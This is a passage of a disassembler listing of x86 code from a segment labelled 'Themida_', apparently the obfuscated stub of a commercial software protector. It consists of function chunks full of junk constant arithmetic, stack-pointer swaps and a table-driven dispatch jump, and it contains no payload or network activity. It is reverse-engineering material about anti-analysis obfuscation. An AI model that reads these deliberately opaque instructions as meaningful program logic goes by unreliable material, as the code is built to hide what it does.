loc_56F40B:				; CODE XREF: sub_56DD54+6j
		and	ebp, 0AEE2C51h
		jmp	loc_561B70
; END OF FUNCTION CHUNK	FOR sub_56DD54
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5604FE


loc_56F416:				; CODE XREF: sub_5604FE+37A7j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp+8+var_8]
		xor	[esp+8+var_8], eax
		xor	eax, [esp+8+var_8]
		pop	esp
		push	5B0Ah
		mov	[esp+8+var_8], edi
		mov	edi, 3D225AF7h
		and	edi, 59F45FBCh
		add	edi, 11603309h
		jmp	loc_56D55B
; END OF FUNCTION CHUNK	FOR sub_5604FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E126


loc_56F448:				; CODE XREF: sub_56E126+547Fj
		xor	ebx, eax
		pop	eax
		push	esi
		mov	esi, 535E4AEFh
		jmp	loc_56DCAD
; END OF FUNCTION CHUNK	FOR sub_56E126
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572DD7


loc_56F456:				; CODE XREF: sub_572DD7+5D3j
		mov	[esp+4+var_4], ebx
		mov	ebx, 18725E8Bh
		add	dword ptr [esp+4], 247A6EF6h
		add	[esp+4], ebx
		sub	dword ptr [esp+4], 247A6EF6h
		pop	ebx
		add	dword ptr [esp+0], 20CD74EDh
		push	46DCh
		mov	[esp+4+var_4], esi
		mov	esi, 48EF75E9h
		jmp	loc_5648CC
; END OF FUNCTION CHUNK	FOR sub_572DD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561F05


loc_56F48C:				; CODE XREF: sub_561F05+F244j
		pop	eax
		add	esi, edx
		mov	edx, [esp+4+var_4]
		push	eax
		jmp	loc_56FB1B
; END OF FUNCTION CHUNK	FOR sub_561F05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_56F498:				; CODE XREF: sub_574656+1j
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp+0]
		mov	esp, [esp+0]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_56922A
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_56F4B3:				; CODE XREF: sub_565632-1AC2j
		mov	edi, [esp+0]
		jmp	loc_56F837
; END OF FUNCTION CHUNK	FOR sub_565632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572E16


loc_56F4BB:				; CODE XREF: sub_572E16-12738j
		pop	esi
		sub	esp, 4
		mov	[esp+8+var_8], edx
		mov	edx, 4
		add	eax, edx
		mov	edx, [esp+8+var_8]
		add	esp, 4
		jmp	loc_562454
; END OF FUNCTION CHUNK	FOR sub_572E16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_56F4D7:				; CODE XREF: sub_5605BC+34j
		add	edx, edi
		jmp	loc_567510
; END OF FUNCTION CHUNK	FOR sub_5605BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571890


loc_56F4DE:				; CODE XREF: sub_571890-1038Bj
		push	[esp+8+var_8]
		pop	eax
		push	ecx
		jmp	loc_561AD8
; END OF FUNCTION CHUNK	FOR sub_571890
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA15


loc_56F4E8:				; CODE XREF: sub_56FA15-403Cj
		mov	ebx, 4
		jmp	loc_575350
; END OF FUNCTION CHUNK	FOR sub_56FA15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F1DB


loc_56F4F2:				; CODE XREF: sub_56F1DB+2A59j
		pop	esp
		mov	[esp-4+arg_0], eax
		push	13510169h
		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		pop	eax
		jmp	loc_56332D
; END OF FUNCTION CHUNK	FOR sub_56F1DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570FB7


loc_56F507:				; CODE XREF: sub_570FB7+282j
		shl	eax, 5
		jmp	loc_56DB7E
; END OF FUNCTION CHUNK	FOR sub_570FB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_56F50F:				; CODE XREF: sub_561027+B18Dj
		sub	ebp, 40300041h
		pop	esi
		push	7F0h
		jmp	loc_56A647
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5713A7


loc_56F520:				; CODE XREF: sub_5713A7-2208j
		mov	[esp+8+var_8], ebx
		jmp	loc_56CC2D
; END OF FUNCTION CHUNK	FOR sub_5713A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C4FF


loc_56F528:				; CODE XREF: sub_56C4FF-3C35j
		pop	ebp
		add	eax, 4
		sub	esp, 4
		mov	[esp+8+var_8], eax
		push	[esp+8+var_4]
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		add	esp, 4
		jmp	loc_570FD1
; END OF FUNCTION CHUNK	FOR sub_56C4FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574FC9


loc_56F54D:				; CODE XREF: sub_574FC9+35Aj
		pop	edi
		jmp	loc_572993
; END OF FUNCTION CHUNK	FOR sub_574FC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56489B


loc_56F553:				; CODE XREF: sub_56489B+10j
		mov	al, cl
		jmp	loc_5622F9
; END OF FUNCTION CHUNK	FOR sub_56489B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AEF2


loc_56F55A:				; CODE XREF: sub_56AEF2-8D67j
		add	eax, ecx
		add	eax, 4194F79h
		jmp	loc_5751EA
; END OF FUNCTION CHUNK	FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570C6A


loc_56F566:				; CODE XREF: sub_570C6A+1Aj
		pop	esp
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		jmp	loc_56692C
; END OF FUNCTION CHUNK	FOR sub_570C6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_56F573:				; CODE XREF: sub_564D26-1B00j
		or	ebp, 248A0E40h
		add	ebp, 0F7DAEC4Ch
		mov	ecx, ebp
		mov	ebp, [esp+20h+var_20]
		add	esp, 4
		sub	edx, ecx
		mov	ecx, [esp+1Ch+var_1C]
		jmp	loc_56D6ED
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569AB3


loc_56F591:				; CODE XREF: sub_569AB3+1C67j
		xor	ecx, 0A9F8BD1Eh
		jmp	loc_5639A2
; END OF FUNCTION CHUNK	FOR sub_569AB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566AF9


loc_56F59C:				; CODE XREF: sub_566AF9+10j
		mov	edx, 6C0E1A15h
		jmp	loc_5695B8
; END OF FUNCTION CHUNK	FOR sub_566AF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568764


loc_56F5A6:				; CODE XREF: sub_568764-5EE1j
		push	dword ptr [esp+0]
		jmp	loc_563931
; END OF FUNCTION CHUNK	FOR sub_568764
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_56F5AE:				; CODE XREF: sub_570732+305j
		pop	[esp+14h+var_14]
		pop	esp


loc_56F5B2:				; CODE XREF: sub_57377E-ACB6j
		push	2C2Eh
		mov	[esp+10h+var_10], ebx
		sub	esp, 4
		mov	[esp+14h+var_14], ebp
		push	31DEh
		mov	[esp+18h+var_18], ebx
		push	7F0D5BEEh
		pop	ebx
		and	ebx, 65D627D3h
		push	ecx
		jmp	loc_563B9D
; END OF FUNCTION CHUNK	FOR sub_570732
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574CDD


loc_56F5DD:				; CODE XREF: sub_574CDD-D02Bj
		xor	[esp+0], ebp
		xor	ebp, [esp+0]
		mov	esp, [esp+0]
		push	[esp-8+arg_4]
		mov	eax, [esp-4+arg_0]
		add	esp, 4
		push	1B8h
		mov	[esp-4+arg_0], ecx
		mov	ecx, esp
		push	ebx
		jmp	loc_56DE0B
; END OF FUNCTION CHUNK	FOR sub_574CDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568646


loc_56F5FF:				; CODE XREF: sub_568646+1654j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		sub	esp, 4
		mov	[esp+0], eax
		jmp	loc_561DF0
; END OF FUNCTION CHUNK	FOR sub_568646
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564CDA


loc_56F61F:				; CODE XREF: sub_564CDA+C402j
		mov	ebp, 0C12CE63Ah
		jmp	loc_56EC3F
; END OF FUNCTION CHUNK	FOR sub_564CDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_56F629:				; CODE XREF: sub_56B06D-2216j
		push	[esp+18h+var_18]
		jmp	loc_5619BA
; END OF FUNCTION CHUNK	FOR sub_56B06D
; ---------------------------------------------------------------------------


loc_56F631:				; CODE XREF: Themida_:00563287j
		pop	eax
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565B6E


loc_56F649:				; CODE XREF: sub_565B6E+C3FCj
		sub	eax, 78924C64h
		pop	ebx
		add	eax, edi
		sub	eax, 1AB57B37h
		jmp	loc_56C771
; END OF FUNCTION CHUNK	FOR sub_565B6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D72


loc_56F65B:				; CODE XREF: sub_567D72-6E0Dj
		push	edx
		mov	edx, 280A6CC3h
		neg	edx
		or	edx, 38866E65h
		not	edx
		add	edx, 0FFF7FF82h
		sub	esi, edx
		pop	edx
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	[esp+4+var_4]
		pop	esp
		mov	[esp-4+arg_0], ecx
		push	[esp-4+arg_4]
		pop	ecx
		pop	[esp-4+arg_0]
		pop	esp
		not	bh
		xor	[esp-0Ch+arg_8], bh
		xor	bh, [esp-0Ch+arg_8]
		xor	[esp-0Ch+arg_8], bh
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_567D72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5638E4


loc_56F69A:				; CODE XREF: sub_5638E4+CDCCj
		mov	eax, edi
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		add	edi, eax
		pop	eax
		push	edi
		push	[esp+8+var_4]
		mov	edi, [esp+0Ch+var_C]
		jmp	loc_56521C
; END OF FUNCTION CHUNK	FOR sub_5638E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E1B8


loc_56F6B2:				; CODE XREF: sub_56E1B8-9CABj
		mov	esp, [esp+0]
		bts	[esp+0], ax
		pushf
		jmp	loc_565FCB
; END OF FUNCTION CHUNK	FOR sub_56E1B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563DCB


loc_56F6C0:				; CODE XREF: sub_563DCB+7106j
		add	esp, 4
		add	eax, 4
		jmp	loc_5742ED
; END OF FUNCTION CHUNK	FOR sub_563DCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5729F9


loc_56F6CD:				; CODE XREF: sub_5729F9+1j
		xor	al, bl
		push	dx
		jmp	loc_5634E9
; END OF FUNCTION CHUNK	FOR sub_5729F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_56F6D6:				; CODE XREF: sub_57354D-10E35j
		sub	ebp, eax
		add	ebp, 43E275E8h
		pop	eax
		shl	ebp, 2
		push	edx
		push	78185B51h
		pop	edx
		shl	edx, 8
		neg	edx
		sub	edx, 79F0B81h
		shl	edx, 1
		push	esi
		mov	esi, 63030173h
		sub	esi, 556B1525h
		inc	esi
		jmp	loc_566BA5
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572141


loc_56F708:				; CODE XREF: sub_572141-FCAEj
		and	eax, 1B6F3F27h
		jmp	loc_563356
; END OF FUNCTION CHUNK	FOR sub_572141
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569193


loc_56F712:				; CODE XREF: sub_569193+7AAAj
		push	esi
		jmp	loc_56E6D3
; END OF FUNCTION CHUNK	FOR sub_569193
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B577


loc_56F718:				; CODE XREF: sub_56B577-637Aj
		pop	esp
		add	ebp, 2
		xor	ebp, [esp+0]
		xor	[esp+0], ebp
		xor	ebp, [esp+0]
		pop	esp
		btr	[esp-4+arg_0], ax
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56B577
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CD13


loc_56F734:				; CODE XREF: sub_56CD13-C974j
		pop	edx
		pop	ebp
		add	eax, 0BBB79DFh
		add	eax, ecx
		push	ecx
		mov	ecx, 29F43A2h
		xor	ecx, 9243A7Dh
		sub	eax, ecx
		pop	ecx
		push	[esp+0Ch+var_C]
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		add	esp, 4
		push	edx
		jmp	loc_56765E
; END OF FUNCTION CHUNK	FOR sub_56CD13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E126


loc_56F761:				; CODE XREF: sub_56E126-8240j
		inc	ecx
		shr	ecx, 5
		shr	ecx, 3
		jmp	loc_563744
; END OF FUNCTION CHUNK	FOR sub_56E126
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5690E8


loc_56F76D:				; CODE XREF: sub_5690E8+9B6j
		push	edx
		jmp	loc_570240
; END OF FUNCTION CHUNK	FOR sub_5690E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_56F773:				; CODE XREF: sub_5605BC+E666j
		mov	eax, 23356285h
		and	eax, 1E9027B9h
		jmp	sub_5738F4
; END OF FUNCTION CHUNK	FOR sub_5605BC

; =============== S U B	R O U T	I N E =======================================



sub_56F782	proc near		; DATA XREF: Themida_:0055FD0Co

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00561D33 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005643BF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00564C26 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00566A96 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056727C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005689C2 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005697DC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056ACAB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056B183 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056CFAE SIZE 0000002C BYTES

		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		jmp	loc_5689C2
sub_56F782	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C38F


loc_56F790:				; CODE XREF: sub_56C38F-56E8j
		mov	[esp+4+var_4], eax
		mov	eax, 32144BDh
		add	eax, 53F178DDh
		sub	eax, 29FD0553h
		shr	eax, 8
		dec	eax
		jmp	loc_568F6A
; END OF FUNCTION CHUNK	FOR sub_56C38F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_56F7AB:				; CODE XREF: sub_5685B2-36F9j
		push	dword ptr [esp+0]
		jmp	loc_5704DF
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D69D


loc_56F7B3:				; CODE XREF: sub_56D69D+163Aj
		sub	eax, ecx
		add	eax, 2BDB4967h
		pop	ecx
		push	edx
		mov	edx, 6AF031C2h
		and	edx, 187E3543h
		jmp	loc_565875
; END OF FUNCTION CHUNK	FOR sub_56D69D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564686


loc_56F7CC:				; CODE XREF: sub_564686+E08j
		mov	[esp+0], esi
		jmp	loc_56A2CB
; END OF FUNCTION CHUNK	FOR sub_564686
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5729F9


loc_56F7D4:				; CODE XREF: sub_5729F9-F505j
		mov	al, 5Dh
		and	al, 0Ch
		sub	al, 71h
		shr	al, 2
		xor	al, 32h
		xor	al, 4Eh
		mov	bh, al
		pop	eax
		push	ebx
		not	byte ptr [esp+0Ah+var_C+3]
		pop	ebx
		shr	bh, 5
		jmp	loc_5608EB
; END OF FUNCTION CHUNK	FOR sub_5729F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570F82


loc_56F7F2:				; CODE XREF: sub_570F82+6j
		push	esi
		push	19C82140h
		pop	esi
		jmp	sub_563388
; END OF FUNCTION CHUNK	FOR sub_570F82
; ---------------------------------------------------------------------------


loc_56F7FE:				; CODE XREF: Themida_:00571A4Bj
		push	dword ptr [esp]
		jmp	loc_56AD4F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D31


loc_56F806:				; CODE XREF: sub_567D31-2F00j
		add	esp, 4
		and	eax, ecx
		push	[esp-8+arg_4]
		jmp	loc_560562
; END OF FUNCTION CHUNK	FOR sub_567D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5734A7


loc_56F816:				; CODE XREF: sub_5734A7-797Bj
		add	esi, eax
		push	ebp
		mov	ebp, 48816C72h
		jmp	loc_565554
; END OF FUNCTION CHUNK	FOR sub_5734A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_56F823:				; CODE XREF: sub_56616D+4DA2j
		push	7AB4h
		mov	[esp-8+arg_4], edx
		mov	edx, 49986FD6h
		mov	ebx, edx
		jmp	loc_56A223
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_56F837:				; CODE XREF: sub_565632+9E84j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+4+var_4]
		pop	esp
		add	edi, 4
		jmp	loc_56739E
; END OF FUNCTION CHUNK	FOR sub_565632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_56F851:				; CODE XREF: sub_563A7F+A341j
		not	ecx
		jmp	loc_574FBC
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DA43


loc_56F858:				; CODE XREF: sub_56DA43+4751j
		push	[esp+4+var_4]
		jmp	loc_5608F6
; END OF FUNCTION CHUNK	FOR sub_56DA43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574F16


loc_56F860:				; CODE XREF: sub_574F16-E6D4j
		pop	ecx
		xchg	dh, al
		not	dh
		xchg	dh, al
		sub	esp, 4
		mov	[esp+0Eh+var_E], ecx
		push	ebx
		mov	bl, al
		jmp	loc_56B6A5
; END OF FUNCTION CHUNK	FOR sub_574F16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_56F878:				; CODE XREF: sub_571088-10098j
		mov	edi, 83E7F42h
		jmp	loc_569800
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------


loc_56F882:				; CODE XREF: Themida_:0056FCB0j
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		push	eax
		jmp	loc_561AC0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5687A3


loc_56F893:				; CODE XREF: sub_5687A3-180Bj
		pop	eax
		push	4B64h
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, 262826CAh
		not	ebx
		shl	ebx, 3
		jmp	loc_574F1E
; END OF FUNCTION CHUNK	FOR sub_5687A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572141


loc_56F8AB:				; CODE XREF: sub_572141-3Bj
		xor	ebp, [esp+4+var_4]
		xor	[esp+4+var_4], ebp
		xor	ebp, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		jmp	loc_56C229
; END OF FUNCTION CHUNK	FOR sub_572141
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567B29


loc_56F8BC:				; CODE XREF: sub_567B29-404Fj
		sub	ebx, 262772EAh
		add	ebx, eax
		jmp	loc_5736C7
; END OF FUNCTION CHUNK	FOR sub_567B29
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572669


loc_56F8C9:				; CODE XREF: sub_572669-1087Ej
		add	edx, ebx
		mov	ebx, [esp+0]
		jmp	loc_57000B
; END OF FUNCTION CHUNK	FOR sub_572669
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C83E


loc_56F8D3:				; CODE XREF: sub_56C83E-376Ej
		push	edi
		jmp	loc_57301E
; END OF FUNCTION CHUNK	FOR sub_56C83E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5738F4


loc_56F8D9:				; CODE XREF: sub_5738F4-C35j
		add	ebx, edi
		jmp	loc_570D80
; END OF FUNCTION CHUNK	FOR sub_5738F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572E16


loc_56F8E0:				; CODE XREF: sub_572E16-780j
		add	ecx, 22232A04h
		sub	edi, 47204D44h
		add	edi, ecx
		add	edi, 47204D44h
		pop	ecx
		add	edi, 4
		xor	edi, [esp+8+var_8]
		xor	[esp+8+var_8], edi
		jmp	loc_567B1A
; END OF FUNCTION CHUNK	FOR sub_572E16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA15


loc_56F903:				; CODE XREF: sub_56FA15+20F3j
		xor	bl, al
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; END OF FUNCTION CHUNK	FOR sub_56FA15
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------
byte_56F90D	db 66h,	8Bh, 4		; DATA XREF: Themida_:0055FCBCo
		dd 673D6824h, 14890000h, 0AF02E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560056


loc_56F91E:				; CODE XREF: sub_560056+4903j
		mov	edi, 4
		jmp	loc_561E44
; END OF FUNCTION CHUNK	FOR sub_560056
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_56F928:				; CODE XREF: sub_564D26+7073j
		shl	ebx, 6
		sub	ebx, 0F0950A44h
		sub	esi, ebx
		pop	ebx
		push	edi
		mov	edi, 2D4E773Eh
		jmp	loc_561D50
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5638E4


loc_56F93F:				; CODE XREF: sub_5638E4+816Dj
		add	edi, 3B7B7B97h
		mov	edx, [esp+4+var_4]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+8+var_8]
		pop	esp
		push	eax
		push	edi
		sub	esp, 4
		jmp	loc_56D973
; END OF FUNCTION CHUNK	FOR sub_5638E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FD38


loc_56F968:				; CODE XREF: sub_56FD38-1FBAj
		sub	edi, 4
		xor	edi, [esp+8+var_8]
		xor	[esp+8+var_8], edi
		xor	edi, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], ebx
		mov	ebx, 5FC0204h
		jmp	loc_56AD5D
; END OF FUNCTION CHUNK	FOR sub_56FD38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568E5C


loc_56F982:				; CODE XREF: sub_568E5C-8A1Bj
		push	edx
		mov	edx, 57AC6889h
		not	edx
		dec	edx
		sub	edx, 9896A5Ch
		sub	edx, 6AD9660Eh
		not	edx
		sub	edx, 0A5F5BCBAh
		mov	ecx, edx
		pop	edx
		xor	ecx, ebp
		jmp	loc_565D4E
; END OF FUNCTION CHUNK	FOR sub_568E5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570F0F


loc_56F9A9:				; CODE XREF: sub_570F0F-10B07j
		mov	esp, [esp+0]
		mov	[esp+0], ax
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_570F0F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_56F9B5:				; CODE XREF: sub_56616D+3F83j
		not	edi
		sub	edi, 0FFFFD7D3h
		add	esi, edi
		jmp	loc_56394B
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------


loc_56F9C4:				; CODE XREF: Themida_:0057201Ej
		add	ebx, edi
		push	eax
		push	376552A4h
		jmp	loc_57379C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_56F9D1:				; CODE XREF: sub_574304-10F07j
		add	edi, ecx
		sub	edi, 5B97AE9h
		pop	ecx
		sub	edi, 1
		sub	edi, 1
		xchg	edx, edi
		not	edx
		xchg	edx, edi
		shr	edi, 3
		sub	esp, 4
		mov	[esp+4+var_4], eax
		mov	eax, 4D16729Eh
		shr	eax, 5
		push	ebp
		mov	ebp, 0C42129Dh
		xor	eax, ebp
		jmp	loc_56690B
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574000


loc_56FA07:				; CODE XREF: sub_574000-3C8Dj
		add	eax, 2
		xor	eax, [esp+8+var_8]
		xor	[esp+8+var_8], eax
		jmp	loc_571BD8
; END OF FUNCTION CHUNK	FOR sub_574000

; =============== S U B	R O U T	I N E =======================================



sub_56FA15	proc near		; CODE XREF: sub_56D464-D4C2j

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00560374 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00562291 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056232F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00563C7F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056502B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00565AF6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00566196 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005662F0 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00566ACB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056754C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00567AAD SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005689BB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005689F2 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00569904 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0056A4B5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056A9EE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056B2C4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056B72F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056B9D0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056C0D6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056C0ED SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056C88B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056D170 SIZE 00000046 BYTES
; FUNCTION CHUNK AT 0056E513 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0056E63B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056E826 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056F4E8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056F903 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005718F9 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00571B05 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00571CFB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005725E9 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0057287D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005747A5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005748B2 SIZE 0000003B BYTES
; FUNCTION CHUNK AT 00574E4D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00575350 SIZE 0000000B BYTES

		push	ebx
		mov	bl, 1Dh
		sub	bl, 4
		shl	bl, 6
		jmp	loc_56E63B
sub_56FA15	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5713A7


loc_56FA23:				; CODE XREF: sub_5713A7-C632j
		mov	ebx, eax
		pop	eax
		push	ecx
		mov	ecx, 59C40C67h
		xor	ecx, 7ADC16EEh
		or	ecx, 72EE77B9h
		xchg	ebx, ecx
